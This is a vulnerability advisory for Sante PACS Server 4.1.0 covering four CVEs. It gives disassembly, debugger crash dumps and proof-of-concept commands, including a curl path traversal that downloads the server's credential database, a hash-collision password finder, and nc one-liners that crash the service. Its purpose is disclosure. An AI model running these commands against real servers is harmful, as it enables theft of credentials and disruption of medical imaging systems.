Multiple vulnerabilities exist in Sante PACS Server 4.1.0.
CVE-2025-2263 - EVP_DecryptUpdate Stack-based Buffer Overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
During login to the web server in "Sante PACS Server.exe", OpenSSL function EVP_DecryptUpdate is called to decrypt the username and password. A fixed 0x80-byte stack-based buffer is passed to the function as the output buffer. An stack-based buffer overflow exists if a long encrypted username or password is supplied by an unauthenticated remote attacker.
The following code snippet shows the vulnerability:
// "Sante PACS Server.exe", file version 4.1.0.0
[...]
.text:00000001405CAB10 strlen_of_ciphertext: ; CODE XREF: decrypt_data+177↓j
.text:00000001405CAB10 inc rax
.text:00000001405CAB13 cmp byte ptr [rax+rbp], 0
.text:00000001405CAB17 jnz short strlen_of_ciphertext
.text:00000001405CAB19 mov dword ptr [rsp+138h+inlen], eax
.text:00000001405CAB1D mov r9, rbp ; user_controlled input data content
.text:00000001405CAB1D ; and size
.text:00000001405CAB20 lea r8, [rsp+138h+outlen]
.text:00000001405CAB25 lea rdx, [rsp+138h+out] ; VULN: fixed 0x80-byte stack buf ->
.text:00000001405CAB25 ; stack buf overflow
.text:00000001405CAB2A mov rcx, rdi
.text:00000001405CAB2D call cs:EVP_DecryptUpdate
[...]
PoC:
python3 sante_pacs_stack_bof.py -u 'http://[target-host]:3000/'
[*] Fetching loginpage...
[+] Found URL to fetch encryption key
[+] session_id: mXdCnBdXtGw3rj3O
[+] Encryption IV: ycdJ8RuzqwePDY7R
[*] Fetching encryption key...
[+] Encryption key: Syo1dz3eRfx4uiUK
[*] Generating ciphertext without zero bytes...
[*] Sending ciphertext to overflow a 0x80-byte stack-based buffer...
('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))
Crash shown in Windbg:
0:020> g
(748.12ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Sante_PACS_Server+0x5cabe8:
00000001`405cabe8 f00fc14210 lock xadd dword ptr [rdx+10h],eax ds:41414141`41414139=????????
0:020> r
rax=00000000ffffffff rbx=ffffffffffffffff rcx=0000000000000201
rdx=4141414141414129 rsi=00000000087ad310 rdi=0000000003423fd0
rip=00000001405cabe8 rsp=00000000087ad180 rbp=000000000558feb0
r8=000000000558feb0 r9=0000000000000201 r10=0000000003880948
r11=0000000000000000 r12=00000000087ad2f0 r13=0000000000000000
r14=0000000000000201 r15=00000000087ad2f8
iopl=0 nv up ei pl nz ac pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212
Sante_PACS_Server+0x5cabe8:
00000001`405cabe8 f00fc14210 lock xadd dword ptr [rdx+10h],eax ds:41414141`41414139=????????
0:020> k 5
# Child-SP RetAddr Call Site
00 00000000`087ad180 41414141`41414141 Sante_PACS_Server+0x5cabe8
01 00000000`087ad2c0 41414141`41414141 0x41414141`41414141
02 00000000`087ad2c8 41414141`41414141 0x41414141`41414141
03 00000000`087ad2d0 41414141`41414141 0x41414141`41414141
04 00000000`087ad2d8 41414141`41414141 0x41414141`41414141
[...]
CVE-2025-2264 - Path Traversal Information Disclosure (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
A Path Traversal Information Disclosure vulnerability exists in "Sante PACS Server.exe". An unauthenticated remote attacker can exploit it to download arbitrary files on the disk drive where the application is installed.
The embedded web server in "Sante PACS Server.exe" serves static resources in <SANTE_SERVER_DB_DIR>\.OHIFViewer\ ( i.e., C:\Sante Server DB\.OHIFViewer\). It does a sanity check to ensure the request URL contains certain patterns such as a valid file extension (i.e., .js, .css) or a valid folder name (i.e., /assets/) under the .OHIFViewer folder:
// "Sante PACS Server.exe", file version 4.1.0.0
[...]
.text:00000001405CDE87 lea rdx, aAssets ; "/assets/"
.text:00000001405CDE8E call wcsstr_140942BB0
.text:00000001405CDE93 test rax, rax
.text:00000001405CDE96 jz short loc_1405CDEA6
.text:00000001405CDE98 sub rax, [rbx]
.text:00000001405CDE9B sar rax, 1
.text:00000001405CDE9E test eax, eax
.text:00000001405CDEA0 jns ok_1405CE07F
[...]
If the check passes, the request path is then appended to the .OHIFViewer folder for file serving:
// "Sante PACS Server.exe", file version 4.1.0.0
[...]
.text:00000001405CE1D8 mov rsi, [rbp+200h+psPath] ; folder:
.text:00000001405CE1D8 ; C:\Sante Server DB\.OHIFViewer\
.text:00000001405CE1DC mov r8, rsi
.text:00000001405CE1DF lea rdx, aGet_0 ; "get /"
.text:00000001405CE1E6 lea rcx, [rsp+300h+pusReqline_pusReqlinWithoutProto] ; path traversal:
.text:00000001405CE1E6 ; user-supplied path
.text:00000001405CE1EB call ustr_replace_substr
.text:00000001405CE1F0 xor edx, edx ; AccessMode
.text:00000001405CE1F2 mov rdi, [rsp+300h+pusReqline_pusReqlinWithoutProto]
.text:00000001405CE1F7 mov rcx, rdi ; FileName
.text:00000001405CE1FA call _waccess
.text:00000001405CE1FF test eax, eax
.text:00000001405CE201 jnz not_found_1405CEC8E
[...]
An unauthenticated remote attacker can perform a path traversal by using a request path like /assets/../../../../../../../../../[file_to_retrieve].
PoC:
// download the database for the web server in "Sante PACS Server.exe":
curl --path-as-is -o /tmp/HTTP.db 'http://[target-host]:3000/assets/../../.HTTP/HTTP.db'
CVE-2025-2265 - "Sante PACS Server.exe" HTTP.db SHA1 Hash Truncation (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
The password of a web user in "Sante PACS Server.exe" is zero-padded to 0x2000 bytes, SHA1-hashed, base64-encoded, and stored in the USER table in the SQLite database HTTP.db. However, the number of hash bytes encoded and stored is truncated if the hash contains a zero byte:
// "Sante PACS Server.exe", file version 4.1.0.0
[...]
.text:000000014062DD14 calc_hash_len_to_encode: ; CODE XREF: do_SHA1_hash+27C↓j
.text:000000014062DD14 inc r8
.text:000000014062DD17 cmp byte ptr [rax+r8], 0
.text:000000014062DD1C jnz short calc_hash_len_to_encode
.text:000000014062DD1E lea rdx, [rsp+2198h+SHA1Hash]
.text:000000014062DD23 mov rcx, rdi
.text:000000014062DD26 call base64_encode
[...]
In this case, the hash bytes encoded and stored are the ones that precede the zero byte. This makes hash collision attacks more feasible. For example, the following are password equivalents if only one byte of the SHA1 hash gets encoded and stored:
Password 1: K8XkE5DB | SHA1: 8d00d25bc2cdadf7c417b18bbb4d83a9bd4e78b6
Password 2: wSZuapO6 | SHA1: 8d005cad27a6bf0bb8dd86cbdb62004ec518eb49
Password 3: 8LaeKDTz | SHA1: 8d006c2eb21fd95b7d54a4a959755ee05868f312
Password 4: wq6684Lj | SHA1: 8d00457981cabe82ce35f3cb10b7f90733edae21
Password 5: nSOUpwNn | SHA1: 8d00be8879a5bb6f0f9c9ebee0d0f69622c02412
Password 6: QkrswghS | SHA1: 8d00f7ffd56028770bf665e253a703b388530206
Password 7: 6jNpaRgJ | SHA1: 8d00067eacc3df9fd11c557511b7d276b45f896e
Password 8: Y4VTqaDO | SHA1: 8d00c1e1314dedccb7fffcd1daf334bf74e8f907
Password 9: qYHT3BtZ | SHA1: 8d00be054a073453d29e2405e0c3e218189cf600
Password 10: 7mtbYvcC | SHA1: 8d00227d88f5e356cc1c529dfb5b94e878c4cc99
An unauthenticated remote attacker can leverage aforementioned path traversal vulnerability to download the HTTP.db file. If the attacker finds a web user with a truncated password hash in the USER table, they may be able to calculate a password equivalent in a feasible time frame.
PoC:
python3 find_password_equivalent.py 8d00
Found a match! Hash: 8d003dbfdee416cee93838b965344617641b1f31 for password: bzWtHQUq
Time taken to find the password: 4.87 seconds
python3 find_password_equivalent.py aabb00
Found a match! Hash: aabb00130647e8031d5875b278d5092d54bd651d for password: b0bBE7dh
Time taken to find the password: 287.14 seconds
CVE-2025-2284 - Access of Uninitialized Pointer DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A denial-of-service vulnerability exists in the "GetWebLoginCredentials" function in "Sante PACS Server.exe". This function tries to extract the usrname, passwrd, and session_id fields in a login request to the embedded web server. The function expects the request to have content type multipart/form-data and the fields to look like:
------geckoformboundaryd36bc5876f25015fe74be8d36ae68f18
Content-Disposition: form-data; name="usrname"
YjZAz7WTu1TSs4kLerloiQ==
------geckoformboundaryd36bc5876f25015fe74be8d36ae68f18
Content-Disposition: form-data; name="passwrd"
mbYK3cOwbIyTyqEahVFLcQ==
------geckoformboundaryd36bc5876f25015fe74be8d36ae68f18
Content-Disposition: form-data; name="session_id"
ahqUjpD5ke7RBnnB
------geckoformboundaryd36bc5876f25015fe74be8d36ae68f18--
The lines in the request are parsed into a collection object, where each item in the collection is a pointer to a line in the request. To extract the value of the usrname field, the function moves down two pointers (thus two lines) from the pointer to the line containing "usrname". However, if there are no lines after the line containing "usrname", an uninitialized pointer may be accessed:
// "Sante PACS Server.exe", file version 4.1.0.0
[...]
.text:00000001405CA457 lea rdx, aUsrname ; "usrname"
.text:00000001405CA45E mov rcx, rbx
.text:00000001405CA461 call wcsstr_140942BB0
.text:00000001405CA466 test rax, rax
.text:00000001405CA469 jz short loc_1405CA4B7
.text:00000001405CA46B sub rax, rbx
.text:00000001405CA46E sar rax, 1
.text:00000001405CA471 test eax, eax
.text:00000001405CA473 jle short loc_1405CA4B7
.text:00000001405CA475 mov rdi, [r14]
.text:00000001405CA478 add rdi, 10h ; two ptrs down, which can be
.text:00000001405CA478 ; uninitialized if there are no lines
.text:00000001405CA478 ; after a line containing 'usrname'
.text:00000001405CA478 ; CWE-824: Access of Uninitialized Pointer
.text:00000001405CA47C lea rdi, [rdi+r15*8]
.text:00000001405CA480 mov edx, 0Dh
.text:00000001405CA485 mov r8d, 20h ; ' '
.text:00000001405CA48B mov rcx, rdi
.text:00000001405CA48E call CStringData_ReplaceChar
[...]
This may cause an access violation when the "ReplaceChar" function is called, resulting in process termination:
0:022> g
(684.1fa0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
rax=0000000000000000 rbx=000000000385a148 rcx=0029303832002932
rdx=000000000000000d rsi=0000000140f91380 rdi=00000000054454e0
rip=0000000140170f9b rsp=00000000164ad270 rbp=0000000000000000
r8=0000000000000020 r9=0000000140e2db70 r10=0000000000000fff
r11=0000000000000ff0 r12=000000000000000d r13=0000000000000000
r14=00000000164afe00 r15=0000000000000020
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
Sante_PACS_Server+0x170f9b:
00000001`40170f9b 486359f0 movsxd rbx,dword ptr [rcx-10h] ds:00293038`32002922=????????
PoC:
//
// Multiple runs of the command may be needed in order to kill "Sante PACS Server.exe"
//
// For "Sante PACS Server.exe" versions (i.e., 4.1.0) using encrypted username for web login
echo -ne 'GET /usrname HTTP/1.1\r\n\r\n' | nc -q 0 [target-host] 3000
// For "Sante PACS Server.exe" versions (i.e., 4.0.2) using unencrypted username for web login
echo -ne 'GET /username HTTP/1.1\r\n\r\n' | nc -q 0 [target-host] 3000